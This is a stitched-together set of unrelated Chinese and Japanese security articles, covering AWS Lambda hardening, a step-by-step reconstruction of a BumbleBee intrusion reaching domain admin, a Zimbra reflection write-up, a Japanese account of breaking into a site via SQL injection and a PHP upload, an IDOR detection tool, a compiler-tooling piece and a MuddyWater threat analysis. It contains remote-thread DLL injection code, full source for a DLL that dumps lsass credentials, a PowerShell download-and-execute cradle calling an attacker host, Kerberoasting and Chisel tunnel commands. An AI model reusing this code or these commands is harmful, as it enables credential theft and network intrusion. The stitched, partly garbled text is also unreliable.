借助於正則表達式,我們可以只允許特定文件路徑中出現的字符,並在攻擊者試圖提交不良字符時阻止其執行。在下面的例子中,我們可以看到一個用正則表達式來驗證linux文件路徑的例子。

pattern='^\/$|(\/[a-zA-Z_0-9-]+)+$'

ifre.match(pattern,file_download_path):

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()需要說明的是,這個正則表達式是針對我們要驗證的字段或輸入的。 OWASP提供了很好的最佳實踐指南,當您需要處理任何類型的用戶輸入時,請遵循該指南。

在AWS IAM角色中應用最小特權原則藉助於AWS身份和訪問管理(IAM),我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節中所說,用戶負責管理身份和訪問管理層,並使用權限來控制對AWS資源的訪問。

由於雲環境中可用權限的粒度較細,所以,我們建議遵循最小特權原則,精確地賦予用戶執行其操作所需的權限。如果為用戶賦予了過大的權限,攻擊者可能利用這一點實現權限提升。

在黑盒測試場景中,攻擊者能夠使用與lambda函數關聯的AWS角色登錄帳戶。

攻擊者可能會繼續攻擊並提升自己在AWS內部的權限,因為可能存在特權配置錯誤。通過對分配給lambda函數的角色授予所需的最低權限,我們可以攻擊者提權路徑最小化,以確保即使遭到入侵,也不會危及整個雲環境。

當然,要想清楚地了解每個組、用戶或資源附加了哪些政策和角色,也並不是那麼容易。不過,我們可以藉助於持續監視雲中異常活動的安全工具,來生成安全事件。在AWS中,通過使用正確的工具,我們可以從CloudTrail事件和其他來源收集事件,以輕鬆地評估和加固雲環境的安全性。

小結雖然AWS Lambda函數在可擴展性和性能方面具有很大的優勢,但是,如果不以最佳實踐方式對安全進行全方位的管理,這些無服務器函數可能會被攻擊者濫用,成為入侵AWS賬戶的利器。

在Lambda代碼中施加適當的輸入驗證,在函數觸發器中應用安全最佳實踐,對於防禦攻擊者的入侵活動是至關重要的。正如在雲環境中經常發生的那樣,確保在IAM權限方面應用最小權限的原則,可以有效防禦提權攻擊。

0 前言

实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。

《BumbleBee Roasts Its Way To Domain Admin》原文链接

1 第一天(Day1)

1.1 样本投递

看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下:

u50cm0tx24i14818.png

1.1.1 rundll32解析

使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell:

set srvhost 10.x.x.x
exploit

1uk1a2j53s114822.png

tbeppeql0rf14823.png

1.2 加载恶意程序大黄蜂(BumbleBee)

加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。

zask01qcwo314825.png

wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下:

BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄
    dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
    ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
    pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
    ::CloseHandle(hProcess);
    return TRUE;
}

1.3 被控主机信息收集

攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息:

#获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node"<redacted> process list brief #获取进程信息
net view \\<redacted>\Files$ /all #列远程服务器Files共享目录
dir \\<redacted>\c$\ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>

根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。

1.4 横向移动到服务器并继续收集信息

原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内):

"(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt

2 第二天(Day2)

2.1 在服务器上继续收集信息

攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。

3 第四天(Day4)

3.1 在被控主机上继续收集信息

攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

3.1.1 VulnRecon 解析

VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。

# 
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb

# command

vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt

hvrzojs110g14826.png

nc2lygjo4co14828.png

axrvk54uynf14831.png

看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。

### 3.2 获取lsass中的凭据

根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。

4 第七天(Day7)

4.1 在被控服务器上继续收集信息

攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。

"C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt

5 第十一天(Day11)

5.1 在被控主机上反弹shell

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)

然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8

# 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解

5.1.1 kerberoasting攻击解析

kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。

jxo3pqv5kvo14832.png

5.2 使用Minidump进行凭据提取

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full

5.2.1 Minidump解析

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。

4zpyfpo0wfv14834.png

编译和使用方式参考

5.3 在被控主机上继续信息收集

在初始被控主机上继续使用adfind收集信息。

"(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

5.4 在初始被控机器上再次执行powershell,与之前的相同

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

以上过程在5.1中有详细描述不再赘述

5.5 在更多机器上信息收集

在更多机器上执行下列命令:

whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain 
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]

5.6 两个批处理脚本

攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。

# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log

5.7 最后

两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控



原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html

0x00 前言在上篇文章《Zimbra漏洞调试环境搭建》 提到了通過反射枚舉JspServletWrapper實例的實現,本文將要以此為例,詳細介紹實現的思路和細節,便於以此類推,實現其他功能。

0x01 簡介本文將要介紹以下內容:

反射中的常用操作

獲得類的所有字段

獲得類的所有方法

調用類的方法

枚舉JspServletWrapper實例的實現細節

0x02 反射中的常用操作1.獲得類的所有字段getField():

能夠獲取本類以及父類中的public字段

getDeclaredField():

能夠獲取本類中的所有字段

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有字段

image.png

(2)獲取request對象的父類的所有字段

image.png

2.獲得類的所有方法getMethods():

能夠獲取本類以及父類或者父接口中的公共方法(public修飾符修飾的)

getDeclaredMethods():

能夠獲取本類中的所有方法,包括private、protected、默認以及public的方法

這里以Zimbra環境為例,給出示例代碼

(1)獲取request對象的所有方法

image.png

(2)獲取request對象的父類的所有方法

image.png

3.調用類的指定方法這里以Zimbra環境為例,給出示例代碼

搭建好Zimbra漏洞調試環境後,定位request對象的getHeader(String name)方法,代碼細節如下:

image.png

對照代碼細節,參數類型為String

調用request對象的getHeader(String name)方法,參數為'User-Agent',實現代碼如下:

image.png

0x03 枚舉JspServletWrapper實例的實現細節1.下斷點選擇文件servlet-api-3.1.jar,依次選中javax.servlet-http-HttpServlet.class,在合適的位置下斷點,當運行到斷點時,可以查看request對象的完整結構,如下圖

e9e0eae38cecda9913564d7bfcf1b5a.png

查看request對象的結構,我們最終定位到了JspServletWrapper實例的位置,直觀的映射為:request-_scope-_servlet-rctxt-jsps

接下來,我們需要按照這個映射,通過多次反射最終獲得JspServletWrapper實例

(1)讀取request對象的所有字段

image.png

在回顯的結果中能夠找到_scope

(2)從request對象獲得_scope實例並再次枚舉字段

image.png

在回顯的結果中能夠找到_servlet

(3)獲得_servlet實例並再次枚舉字段

image.png

回顯的結果為:serialVersionUID

這裡沒有rctxt字段

嘗試尋找原因:開啟調試器,定位至關鍵位置,如下圖

46a735c03b2f1ba1fabf34da4ab54c7.png

從圖中可以看到,_servlet的類為JettyJspServlet

JettyJspServlet繼承自JspServlet,成員變量只有serialVersionUID,這與我們通過訪問jsp頁面得到的結果一致

查看JspServlet的相關實現代碼,如下圖

5872d6fee77f3adc12ac3e6f4d198a2.png

從圖中可以看到,rctxt為JspServlet的成員變量,屬性為private,所以子類JettyJspServlet無法繼承成員變量rctxt

這裡我們可以直接選取_servlet實例的父類進行枚舉字段

(4)選取_servlet實例的父類進行枚舉字段

image.png

在回顯的結果中能夠找到jsps

(5)獲得jsps實例並枚舉字段

開啟調試器,查看jsps的類型,如下圖

7a9266135013ed420e1958d8b9ae80c.png

從圖中可以看到,jsps的類為ConcurrentHashMap,這裡只需要枚舉出所有Key即可

添加需要導入的包後,得出最終實現代碼:

image.png

補充:刪除指定JspServletWrapper的實例

只需要調用ConcurrentHashMap的remove方法即可

示例代碼:

image.png

0x04 小結本文介紹了通過反射枚舉JspServletWrapper實例的具體實現,記錄思路和細節,便於以此類推,修改其他內容。

0x01はじめに

違反と防衛の訓練の情報収集中、与えられたウェブサイトと資産のウェブサイトは同じIPセグメントであることがわかったため、違法サイトの浸透がありました。

辞書およびその他のリソースファイルは、最後に取得できます

0x02 SQL脆弱性発見

サイトにアクセスしてください

gjo2rp4dizd1223.png

プラグインを使用して、サイトをPHPとして表示します

b3he4si4qms1224.png

通常のディレクトリスキャン

yc1xep4loac1225.png

フロントデスク

1jzzphwkcw41226.png

ワンクリックでログインした後、新しい住所に注入があったことがわかりました

ri23g0jf3fj1227.png

qbafse5le1w1228.png

0x03さらなる搾取

ここでは、パラメーターを取得する必要があると促されます。 address.phpリクエストで乱数リクエストを記入した後、情報を入力してパケットをつかんでSQLMAPを実行し続けます

guepccgff2k1229.png

長い間待った後、ブールブラインドとエラー注入があることがわかりました。

ndrtlp3mwln1230.png

次に、サイトバックエンド管理アドレスを見つけます

ujlupdyvjht1231.png

注入されたアカウントパスワードを使用して背景にログインします

f5sqdjysine1232.png

0x04ファイルをアップロード

アップロードポイントを探しています

ij3djwnm2mq1233.png

アップロード

tp00gq34sar1234.png

アクセスパス

gdfmxcr4ui11235.png

PHPを直接アップロードして持ち上げます

i5l4eiwbwrt1236.png

これまでのところ、私はこのサイトを取り、シンプルで効率的な方法でそれを取り上げました!

概述

通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞

特点

  1. 支持HTTPS
  2. 自动过滤图片/js/css/html页面等静态内容
  3. 多线程检测,避免阻塞
  4. 支持输出报表与完整的URL、请求、响应

安装和使用


安装依赖

git clone  https://github.com/y1nglamore/IDOR_detect_tool.git

启动

即可监听socks5://127.0.0.1:8889。

安装证书

使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。

以MacOS为例:

175143_y7wfgR

下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust

175302_B8WD5s

检测漏洞

首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号

175522_XdPt84

使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞

175435_PFm3WY

生成报表

每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开:

181645_PaztjA

点击具体条目可以展开/折叠对应的请求和响应:

181811_HJMDoo

检测逻辑

230504_ECb2mP




原文连接:https://github.com/y1nglamore/IDOR_detect_tool


你有沒有想過編譯器如何查看你的數據結構? Compiler Explorer 可以幫助你了解源代碼和設備代碼之間的關係,但它在數據佈局方面提供的支持不多。你可能聽說過填充、對齊和“普通舊數據類型”,甚至通過將一種結構嵌入到另一種結構中來模擬C 中的繼承。但是,你能猜出所有這些類型的確切內存佈局,而無需查看你平台的ABI 引用或標準庫的源代碼嗎?

1.png

有了必要的ABI 知識,關於C 結構的推理就相對簡單了。然而,更複雜的c++類型則是完全不同的情況,特別是當使用模板和繼承時。理想情況下,我們能夠將所有這些複雜的類型轉換成簡單的C結構,這樣我們就可以更容易地推斷它們在內存中的佈局。這正是relic -headergen的目的,這是我在Trail of Bits實習期間開發的一個工具。在這篇文章中,我將解釋它的工作原理。

rellic-headergenrellic-headergen的目的是生成C類型定義,這些定義等價於包含在LLVM位碼文件中的那些定義,這些定義不一定是從C源代碼生成的。這有助於分析包含複雜數據佈局的程序的過程。下圖提供了rellic-headergen 功能的示例。

2.png

左側窗口顯示我們的源代碼,我們在底部窗口中執行第一個命令將代碼編譯為LLVM位碼,然後使用第二個命令通過rellich headergen運行它。右邊的窗口顯示rellic-headergen的輸出,它是與輸入c++代碼的佈局匹配的有效C代碼。

該工具的工作原理是假設被分析的程序可以被編譯成具有完整調試信息的LLVM位碼。該實用程序開始構建一個包含調試信息可用的所有類型的列表,從函數(“subprogram”)定義開始。

現在,該實用程序需要決定定義類型的順序,但考慮到C 語言的要求,這不是一項簡單的任務:當引用尚未定義的類型時,該語言需要明確前置聲明,例如,結構不能包含其類型僅被前向聲明的字段。

解決這個問題的一種方法是預防性地前置前聲明所有當前的類型。然而,這是不夠的。例如,結構不能包含類型尚未完全定義的字段,儘管它可以包含類型是指向正向聲明類型的指針的字段。

因此,該實用程序根據類型定義形成一個有向無環圖(DAG),它可以在其上找到拓撲排序。

3.png

一旦該實用程序找到了一個拓撲排序,它就可以按照這個順序檢查類型,並且確信任何字段的類型都已完全被定義。

關於結構的惡作劇DWARF 元數據提供了一些信息,我們可以使用它來恢復它描述的類型的C 結構定義:

類型的大小;

每個字段的類型;

每個字段的偏移量;

類型最初是結構體還是聯合體;

rellic-headergen 的重建算法首先按照偏移量遞增的順序對字段進行排序,然後定義一個新的結構來添加每個字段。元數據沒有提供關於原始定義是否被聲明為打包的信息,因此rellic-headergen 首先嘗試直接生成佈局,如元數據指定的那樣。如果生成的佈局與作為輸入的佈局不匹配,該實用程序將從頭開始並生成一個打包佈局,並根據需要手動插入填充。

現在,我們可以使用任意數量的複雜啟發式方法來確定每個字段從結構開始的偏移量,但事情可能會變得非常棘手,尤其是在位字段的情況下。更好的方法是從已經制定出邏輯的東西中獲取這些信息:編譯器。

幸運的是,rellic-headergen已經使用Clang來生成定義。不幸的是,查詢Clang本身關於字段的偏移量並不是那麼簡單,因為Clang只允許檢索完整定義的佈局信息。為了解決API的這個特殊問題,實用程序生成臨時結構定義,其中包含當前正在處理的字段之前的所有字段。

結構和繼承當我在處理更多涉及的用例時,我偶然發現了一些ABI 以不立即顯而易見的方式工作的實例。例如,處理C++ 繼承需要小心,因為簡單的方法並不總是正確的。

4.png

轉換成

5.png

這似乎是個好主意,在實踐中也很有效,但這種方法的可擴展性不太好。例如,以下代碼段不能以這種方式轉換:

6.png

原因是在int 為4 個字符寬的設備上,結構A 通常在y 之後包含3 個額外的填充字符。因此,將結構A 直接嵌入B 將使z 位於偏移量8 處。為了最大限度地減少結構中的填充量,編譯器選擇將派生類型的字段直接放置在基本結構中。

此外,從技術上講,空結構在C 中無效。它們可以通過GCC 和Clang 擴展使用,並且在C++ 中有效,但它們存在一個問題:空結構的sizeof 永遠不會為0。相反,它通常為1。除了其他原因,這是為了在像下面這樣的代碼片段中,每個字段都保證有單獨的地址:

7.png

上面的例子工作得很好,但是在有些地方,用簡單的方法處理空結構是行不通的。考慮如下:

8.png

此示例生成以下DWARF 元數據:

9.png

如果我們遵循dw_tag_繼承和DW_TAG_member相同的邏輯,就會得到這樣的轉換:

10.png

這和原來的定義不一樣!字段b最終的偏移量與0不同,因為字段的大小不能為0。讓所有這些c++細節工作是有挑戰性的,但非常值得。現在我們可以使用rellic-headergen將任意c++類型轉換為普通的C類型。許多逆向工程工具嵌入了某種形式的基本C解析支持,以便用戶提供“類型庫”,描述設備代碼使用的類型。這些基本的解析器通常不支持任何c++,所以rellic-headergen彌補了這一缺陷。

relic -headergen的改進空間?rellic-headergen還有進一步改進的機會,該實用程序的目標之一是能夠從已優化的代碼中恢復字段訪問模式。考慮以下程序:

11.png

該程序產生以下位碼:

112.png

在這個位碼中,關於x結構的原始信息已經丟失了。本質上,如果Clang/LLVM在發出位碼或從已編譯的設備碼中提升位碼之前執行優化,這可能會導致生成的位碼級別過低,從而在調試元數據中找到的類型信息與位碼本身中的信息不匹配。在這種情況下,relic -headergen無法自行解決這種不匹配。改進實用程序以便能夠在未來解決這些問題將是有益的,當嘗試將位移位和掩碼與字段訪問匹配以生成盡可能接近原始代碼的反編譯代碼時,了解結構的確切佈局可能很有用。

此外,rellic-headergen 也無法處理使用不同DWARF 功能的語言。例如,Rust 對有區別的聯合使用了一種特別的表示,這對於實用程序來說很難處理。有朝一日可以向該實用程序添加功能來處理這些DWARF 功能。

總結儘管rellic-headergen 目前的範圍非常狹窄,但在使用C 和C++ 代碼庫時它已經非常強大,因為它能夠提取rellic 本身的類型信息,包括LLVM 和Clang。在導航使用調試信息構建的二進製文件時,它已經提供了有用的見解,但是擴展其功能集以能夠從更多不同的代碼庫中提取信息將使其在處理更大的項目時更加有用。

微信截图_20220115160037.png

MuddyWater 通常被認為是由伊朗政府支持的攻擊者,根據目前最新的分析,美國網絡司令部已將此活動歸咎於伊朗情報部(MOIS)。最近,美國網絡司令部指出MuddyWater 使用了多個惡意軟件集。其中,PowGoop 與我們在最近事件中分類的活動相關。

分析新PowGoop 變種PowGoop 是Palo Alto 首次發現的惡意軟件家族,它利用DLL 搜索命令劫持(T1574.001)。該名稱源自使用“GoogleUpdate.exe”來加載“goopdate.dll”的惡意修改版本,該版本用於從外部文件加載惡意PowerShell 腳本。

我們發現了涉及重大變化的更新版本的PowGoop加載器,這表明即使在最近的曝光後,該組織仍在繼續使用和維護它。這些新變種顯示,該攻擊組織已經擴大了其用於裝載惡意dll的合法軟件的武器庫。除了“GoogleUpdate.exe”之外,還有三個良性軟件被濫用,以輔助加載惡意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。

每個DLL包含一個修改後的DLL和一個重命名的真實DLL。被劫持的DLL包含源自重命名後的對應DLL的導入,以及攻擊者編寫的兩個附加函數。被劫持的dll列表如下:

1.png

與以前的版本不同,被劫持的DLL 嘗試反射式加載兩個附加文件,一個名為“Core.dat”,它是從導出“DllReg”調用的shellcode,另一個名為“Dore.dat”,它是一個PE 文件,帶有一個“MZRE”標頭,允許它作為shellcode 執行,類似於從導出“DllRege”調用的公開報告的技術。

這兩個' .dat '文件對於每個被劫持的dll都是相同的,並且都是在各自的導出上使用rundll32執行的,這會將文件從磁盤讀取到虛擬分配的緩衝區,然後調用讀取數據中的偏移量0。

“Dore.dat”和“Core.dat”搜索名為“config.txt”的文件,並使用PowerShell以類似於舊版本(T1059.001)的方式運行它。這兩個組件在功能上的重疊並不清楚;然而,很明顯,“Core.dat”代表了PowGoop 更成熟和進化的版本,因為它作為shellcode 加載,使其不太可能被靜態檢測到。

還值得注意的是,兩個組件都沒有必要駐留在受感染的系統上,因為惡意軟件可以通過其中任何一個成功執行。鑑於此,有可能將其中一個或另一個用作備份組件。在撰寫本文時,無法檢索到“config.txt”中的PowerShell 有效負載。

2.png

新的PowGoop變體的執行流程

MuddyWater隧道活動MuddyWater活動背後的操作人員非常喜歡隧道工具,該組織使用的自定義工具通常功能有限,用於放棄隧道工具,使操作者能夠進行更廣泛的活動。 MuddyWater的攻擊者使用的隧道工具有Chisel、SSF和Ligolo。

隧道活動的性質常常令人困惑,下面是攻擊者對一些受害者執行的命令,有助於澄清他們對此類工具的使用情況:

SharpChisel.execlientxx.xx.xx.xx:8080r:8888:127.0.0.1:9999在客戶端執行中使用的“r”標誌意味著服務器在“反向”模式下運行。根據Chisel的文檔,

設置--reverse 標誌,“允許客戶端在正常遠程之外指定反向端口轉發遠程”。

在這種情況下,“SharpChisel.exe”客戶端在受害者設備上運行,通過端口8080 連接回Chisel 服務器,並指定將來自服務器端口8888 的任何內容轉發到客戶端的端口9999。

這乍一看可能有點奇怪,因為在Windows設備上通常不使用端口9999,而且沒有綁定到任何特定的服務。這是在隨後的反向隧道設置一個Chisel SOCKS5服務器受害者,等待傳入連接端口9999:

SharpChisel.exeserver-p9999--socks5通過在設備上設置Chisel的服務器和客戶端實例,操作人員使自己能夠通過SOCKS5支持的各種協議。這實際上在隧道內創建了一個隧道。鑑於此,運營商很可能會通過端口8888 向服務器發起SOCKS 流量,從而將流量從感興趣的應用程序傳輸到網絡內部。

Chisel和其他隧道工具的使用有效地使攻擊行動者能夠連接到目標環境中的設備,就好像它們在運營商LAN 中一樣。

5.png

使用Chisel 進行MuddyWater 隧道挖掘

攻擊利用在跟踪MuddyWater的活動時,我們發現了一個針對知名組織Exchange服務器的有趣的活動子集。 Exchange漏洞利用活動的這個子集相當有趣,因為如果沒有上下文,很難將其歸因於MuddyWater,因為該活動幾乎完全依賴於公開可用的攻擊性安全工具。

攻擊者試圖使用兩種不同的工具來利用Exchange服務器:

用於利用CVE-2020-0688 (T1190)的公開腳本;

一個開源的Exchange開發框架;

CVE-2020-0688 漏洞利用對所觀察到的活動的分析表明,MuddyWater攻擊組織試圖利用CVE-2020-0688攻擊中東的政府組織。該漏洞允許通過身份驗證的用戶執行遠程代碼。 MuddyWater 操作員試圖運行的特定漏洞被用來刪除webshell。

使用PowerShell命令將webshell內容寫入到特定的路徑“/ecp/HybridLogout.aspx”。 webshell等待參數“cmd”,並使用XSL腳本處理(T1220)在其中運行命令。

6.png

webshell MuddyWater的一個片段試圖上傳到Exchange服務器

此活動與來自名為fuckchina_v2.py 的Github 存儲庫中的CVE-2020-0688 漏洞利用腳本高度相關。該腳本利用CVE-2020-0688 將ASPX webshell 上傳到路徑:“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公開獲得的CVE-2020-0688 實現之一,它會刪除Web shell。

7.png

CVE-2020-0688 漏洞利用腳本片段

